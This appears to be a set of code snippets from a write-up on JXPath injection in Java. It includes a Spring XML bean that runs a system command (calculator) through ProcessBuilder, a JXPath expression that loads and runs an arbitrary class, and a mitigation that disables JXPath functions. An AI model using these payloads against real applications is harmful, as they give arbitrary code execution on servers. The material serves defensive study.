<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="commandRunner" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>cmd</value>
        <value>/c</value>
        <value><![CDATA[calc]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

JXPathContext context = JXPathContext.newContext(new Data());
String jxPath = "run(newInstance(loadClass(getClassLoader(getClass(/)), \"com.warxim.dangerous.DangerousClass\")), \"warxim\")"
Object result = context.getValue(jxPath);

// Create path context for person object
var pathContext = JXPathContext.newContext(person);

// Set empty function library
pathContext.setFunctions(new FunctionLibrary());

// getValue will throw org.apache.commons.jxpath.JXPathFunctionNotFoundException
return pathContext.getValue(path);